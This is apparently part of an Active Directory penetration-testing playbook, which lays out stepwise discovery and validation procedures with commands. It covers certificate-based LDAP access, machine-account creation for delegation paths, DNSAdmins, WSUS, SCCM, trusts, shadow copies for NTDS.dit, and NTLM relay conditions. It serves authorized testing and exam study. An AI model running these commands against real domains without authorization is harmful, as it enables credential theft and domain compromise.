10.12.18.4.20 Extract PEM material from the relevant PFX; respond to password prompts
# Extract PEM material from the relevant PFX; respond to password prompts
openssl pkcs12 -in USER.pfx -clcerts -nokeys -out USER.crt
openssl pkcs12 -in USER.pfx -nocerts -nodes -out USER.key
10.12.18.4.21 First identify the principal accepted through the certificate
# First identify the principal accepted through the certificate
python3 passthecert.py -action whoami -crt USER.crt -key USER.key \
-domain DOMAIN -dc-host DC_HOST -dc-ip DC_IP
10.12.18.4.22 Inspect operations in the LDAP shell before choosing an authorized write
# Inspect operations in the LDAP shell before choosing an authorized write
python3 passthecert.py -action ldap-shell -crt USER.crt -key USER.key \
-domain DOMAIN -dc-host DC_HOST -dc-ip DC_IP
Read: successful binding proves that mapped identity's LDAP context, not domain administration. The same object ACL still governs group/password/delegation writes. Certificate trust/mapping, TLS policy or a missing private key can block this route. Do not weaken workstation-wide TLS settings to compensate for an unexplained failure.
Sources: upstream 1.
10.12.18.4.23 Create a controlled machine account only for a selected AD path
- Enter: a validated RBCD/delegation path needs a service principal or machine key you control.
- Discover: inspect machine-account quota, target OU/container ACL, existing names and whether the current identity can create the account in the intended location.
- Validate: the downstream path actually needs this principal, the resulting SPNs/key will be usable, target-object rights are independently present, and cleanup/deletion rights are understood.
- Execute: Powermad machine-account creation.
- Verify: confirm the created object, its SPNs and controlled key; do not record RBCD or target access until the separate delegation operation and service ticket succeed.
- Outcomes: controlled principal created for an already validated receiver path → conditional AD paths; quota/ACL/name condition fails → ruled out here; object exists but downstream target right is missing → retain only the machine-account capability.
10.12.18.4.24 Documented commands and conditions
Use from a suitable authenticated PowerShell context when the actual quota/delegation permits computer creation and the planned path needs an account/SPN you control. Account creation alone does not grant RBCD rights on another host.
Import-Module .\Powermad.ps1
$machinePassword = ConvertTo-SecureString 'MACHINE_PASSWORD' -AsPlainText -Force
New-MachineAccount -MachineAccount NEWPC -Password $machinePassword `
-Domain DOMAIN -DomainController DC_HOST
Read: verify the created account, its SPNs and the chosen target-object permission separately. Quota, OU ACLs and existing names can stop the operation. Standard create rights do not necessarily permit deleting the created account later; establish the cleanup route and avoid repeated throwaway account creation.
Sources: upstream 1.
10.12.18.4.25 Evaluate DNSAdmins without assuming immediate execution
- Enter: the controlled principal is a direct/effective DNSAdmins member or has equivalent DNS-server configuration rights.
- Discover: identify the actual DNS server, DNS service state/identity and service ACL from the current authorized source.
- Validate: effective configuration permission, product/build behavior, a usable plugin/configuration operation, payload delivery path and a separately authorized restart trigger. A restart on a DC is disruptive and is never a discovery probe.
- Execute: DNSAdmins condition checks.
- Verify: current content supports only membership/service/trigger investigation. A complete plugin execution and cleanup procedure is not registered; see the pending action procedure.
- Outcomes: all prerequisites identified → ready for a separately reviewed procedure; membership absent/effective right denied → ruled out here; group present but configuration or trigger unknown → inconclusive.
Boundary: discovery/validation only; the action procedure is pending.
10.12.18.4.26 Documented commands and conditions
# Domain-joined source with the RSAT AD module and readable group membership
Get-ADGroupMember -Identity DnsAdmins -Recursive
:: Service queries use the current identity and can be denied separately
sc.exe \\DC_HOST qc DNS
sc.exe \\DC_HOST sdshow DNS
Read → next: resolve whether the controlled identity really has DNS-server configuration rights, which server runs DNS, its service identity, and whether a usable plugin/configuration operation and restart trigger exist on that build. Group membership alone does not prove immediate execution or restart rights. Follow the service-control permission workflow. A DNS restart on a DC can interrupt the domain; do not use it as a discovery probe.
10.12.18.4.27 Map WSUS client policy to a server-side authorization question
- Enter: host policy or traffic indicates the machine uses WSUS.
- Discover: read
WUServer,WUStatusServerandUseWUServer; record URL, port, TLS and actual source reachability. - Validate: authenticated access to the identified server, update-approval/content/signing/deployment rights, target group scope and the privileged client consumer. Client configuration alone supplies none of those rights.
- Execute: WSUS client authority discovery.
- Verify: this state produces a named update authority and a missing-rights checklist, not code execution. A complete update-deployment procedure is not registered; see the pending action procedure.
- Outcomes: authority plus exact server-side control established → ready for a separately reviewed procedure; server rights denied → ruled out here; registry values absent or server role unknown → inconclusive.
Boundary: discovery/validation only; the action procedure is pending.
10.12.18.4.28 Documented commands and conditions
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate /v WUStatusServer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer
Read → next: record the actual server URL, port, TLS and client policy. A client configured for WSUS does not grant update approval, content/signing control or server administration. Investigate server access and the exact privileged update consumer only after those rights are established. Missing registry values can mean another policy/configuration source; they do not prove the organization has no WSUS.
10.12.18.4.29 Recognize SCCM client context and locate the management boundary
- Enter:
CcmExec,SMS_Clientor readable client configuration indicates Configuration Manager. - Discover: identify client state, assigned site, management point and reachable authenticated interfaces.
- Validate: SMS Provider/site-server authorization, deployment or CMPivot rights, relevant collection scope and any specifically readable credential source. Client presence does not imply server rights.
- Execute: SCCM client recognition checks.
- Verify: this state establishes product/site context only. A complete SCCM rights-to-action procedure is not registered; see the pending action procedure.
- Outcomes: exact management interface and relevant permission found → ready for a separately reviewed procedure; no applicable server permission → ruled out here; namespace access denied or site/role unresolved → inconclusive.
Boundary: discovery/validation only; the action procedure is pending.
10.12.18.4.30 Documented commands and conditions
Get-Service CcmExec -ErrorAction SilentlyContinue
Get-CimInstance -Namespace root\ccm -ClassName SMS_Client
Read → next:
CcmExec/SMS_Clientidentifies a client context. It does not prove site-server access, SMS Provider authorization, deployment rights, accessible network-access-account credentials or permission to execute CMPivot. Record the site/management point from readable client configuration and test only the matching authenticated interface. Namespace absent and access denied are different outcomes. This reference does not yet contain a complete SCCM compromise procedure.
10.12.18.4.31 Interpret an AD trust as a boundary, not a privilege transition
- Enter: directory or native trust enumeration identifies another domain/forest relationship.
- Discover: record source and destination domain, direction, trust type/transitivity, same-forest versus cross-forest context, selective authentication and SID filtering.
- Validate: destination DNS/KDC/service reachability, accepted identity, target SPN, allowed-to-authenticate/resource rights and the exact capability sought. A trust object or child-domain administration is not automatically forest compromise.
- Execute: Trust-boundary inspection, then movement preflight.
- Verify: establish one destination service action under the named identity. Trust-key/SID-history forgery and coercion chains are not registered complete procedures; see the pending action procedure.
- Outcomes: destination service accepts the identity and action → remote operation preflight; filtering/selective-auth/resource authorization decisively denies it → ruled out here; direction/filtering/identity or route unresolved → inconclusive.
Boundary: discovery/validation only; the action procedure is pending.
10.12.18.4.32 Documented commands and conditions
nltest /domain_trusts /all_trusts
# RSAT alternative; query the domain in the current authenticated context
Get-ADTrust -Filter * -Properties * |
Format-List Name,Direction,TrustType,ForestTransitive,SelectiveAuthentication,SIDFilteringForestAware,SIDFilteringQuarantined
Read → next: keep trust direction, same-forest versus cross-forest scope, SID filtering, selective authentication, target SPN and the accepted identity separate. A trust object or child-domain admin does not by itself prove a usable forest-compromise chain. Verify name resolution, service reachability and authorization in the destination using the movement preflight. Trust-key/SID-history forgery and cross-forest coercion are specialized paths, not complete procedures in this playbook.
10.12.18.4.33 Inspect VSS/shadow-copy credential-source conditions
- Enter: you control a Windows Server/DC context where offline credential material is relevant and the token may hold administrative or backup rights.
- Discover: inspect
whoami /priv,vssadmin list shadows, thendiskshadow→list shadows all. - Validate: establish platform, exact volume, existing-versus-new snapshot, read rights, matched
NTDS.ditand SYSTEM-hive requirement, output destination and cleanup authority. - Execute: shadow-copy boundary checks. Creating/exposing/deleting a shadow and acquiring the matched files remain unavailable until the pending action procedure is complete.
- Verify: listing proves only snapshot metadata. Credential acquisition requires readable, point-in-time-compatible NTDS/SYSTEM material and successful offline parsing.
- Outcomes: suitable existing snapshot and read path identified → ready for the pending action procedure procedure; platform/rights/volume/source decisively incompatible → ruled out here; snapshot listed but access/freshness/matching hive unresolved → inconclusive.
- Source: Microsoft DiskShadow.
Boundary: discovery/validation only; the action procedure is pending.
10.12.18.4.34 Documented commands and conditions
From an already controlled Windows Server/DC context, first determine whether a usable snapshot already exists and whether the current token has the required backup/administrative rights:
whoami /priv
vssadmin list shadows
diskshadow
At the DISKSHADOW> prompt:
list shadows all
exit
Interpret: an existing shadow proves only a snapshot object. It does not prove the current identity can read
NTDS.dit, that the copy is current, or that a matching SYSTEM hive has been acquired.DiskShadowis a Windows Server utility; absence on a workstation is a platform result, not proof that VSS does not exist.
Creating, exposing or deleting a shadow changes host state and normally requires elevated backup/administrator context. Do not offer those actions until the selected procedure records the exact volume, matched NTDS/SYSTEM acquisition, destination, verification and cleanup. The state-machine gap is tracked as RW08; listing is safe discovery, not credential acquisition.
10.12.18.4.35 Evaluate a direct Net-NTLMv2 relay path without spoofing
- Enter: an explicitly authorized, live NTLM authentication source is already present and a different receiver target is relevant. A saved Net-NTLMv2 response alone does not enter this state.
- Discover: identify source protocol/event, relayed principal, receiver protocol/host and source-to-target reachability. For a selected SMB receiver, inspect signing with
nmap -p 445 --script smb2-security-mode TARGET. - Validate: receiver accepts NTLM, signing/EPA/channel binding/reflection protections permit the exchange, and the relayed principal has one useful target operation. Current exam rules prohibit poisoning/spoofing; Responder name-resolution poisoning is never the source in the exam workflow.
- Execute: the existing tool reference is not a complete action-specific procedure. Keep execution unavailable pending the pending action procedure.
- Verify: define success as the chosen receiver operation under the relayed identity, not merely an inbound connection or captured challenge-response.
- Outcomes: source + compatible receiver + useful authorization established → ready for the pending action procedure procedure; signing/protocol/authorization decisively blocks it → ruled out for that receiver; protection or source-event behavior unresolved → inconclusive.
Boundary: discovery/validation only; the action procedure is pending.
10.12.18.4.36 Inspect AD-integrated DNS record control
-
Enter: AD-integrated DNS is present and a selected zone or record object may be writable by the current principal.
-
Discover: enumerate the zone container and record objects from a domain Windows context:
$Root = (Get-ADRootDSE).defaultNamingContext $DnsBase = "CN=MicrosoftDNS,DC=DomainDnsZones,$Root" Get-ADObject -SearchBase $DnsBase -LDAPFilter '(objectClass=dnsNode)' -Properties dnsRecord -ResultSetSize 50 -
Validate: identify one exact
dnsNodedistinguished name, effective create/write-child or record-property right, zone replication scope, resolver path, intended record/value, TTL and cleanup/restore plan. Zone visibility is not write permission. -
Execute: no record-add/modify/delete procedure is registered; keep mutation unavailable under the pending action procedure.
-
Verify: a future write must resolve through the intended client path and cleanup must restore only the changed record. LDAP success alone is insufficient.
-
Outcomes: exact writable object/zone and resolver path established → ready for the pending action procedure; effective right denied or non-AD-integrated zone → ruled out here; object visible but ACL/replication/client resolver unresolved → inconclusive.
Boundary: discovery/validation only; the action procedure is pending.
10.12.18.4.37 Separate an unconstrained-delegation flag from tickets actually present
- Enter: a computer/service account has
TrustedForDelegation/unconstrained delegation and the selected host/session context is accessible. - Discover: confirm the account/SPNs and inspect the actual selected ticket cache with
klistorRubeus.exe triagein the permitted context. - Validate: ticket owner, realm, service/TGT type, validity, logon-session/LUID access, export/cache compatibility and the exact receiving service. A delegation flag without a cached client ticket is only configuration.
- Execute: when a relevant ticket already exists, use the ticket classification and cache procedure and movement preflight. Forced/coerced authentication remains unavailable under the pending action procedure.
- Verify: prove one named service action under the ticket principal, then preserve the host/LUID/cache scope. Do not record a password, hash or domain-wide privilege.
- Outcomes: usable cached ticket accepted by the named service → ticket and key context/remote operation preflight; no relevant ticket in the inspectable context → current cached-ticket path ruled out; inaccessible LUID, stale ticket or ambiguous principal → inconclusive.
10.12.18.4.38 Documented commands and conditions
Directly routed source:
nmap -Pn -sT -sV -p 135,139,445,3389,5985,5986 TARGET -oN movement-preflight.txt
getent hosts TARGET_HOST
date -u
Windows source:
Resolve-DnsName TARGET_HOST
Test-NetConnection TARGET_HOST -Port 445
Test-NetConnection TARGET_HOST -Port 5985
Test-NetConnection TARGET_HOST -Port 3389
w32tm /query /status
Port 135 alone does not prove WMI/DCOM viability because RPC commonly negotiates a dynamic high port. When the destination is reachable only through a pivot, perform these checks through the established Block 13 route and respect the client/proxy's transport limits.
Record:
SOURCE POSITION -> TARGET FQDN/IP -> ROUTE -> SERVICE/PORT
-> CREDENTIAL TYPE -> LOCAL/DOMAIN IDENTITY -> EXPECTED RIGHT
-> CHOSEN METHOD -> EXPECTED EFFECT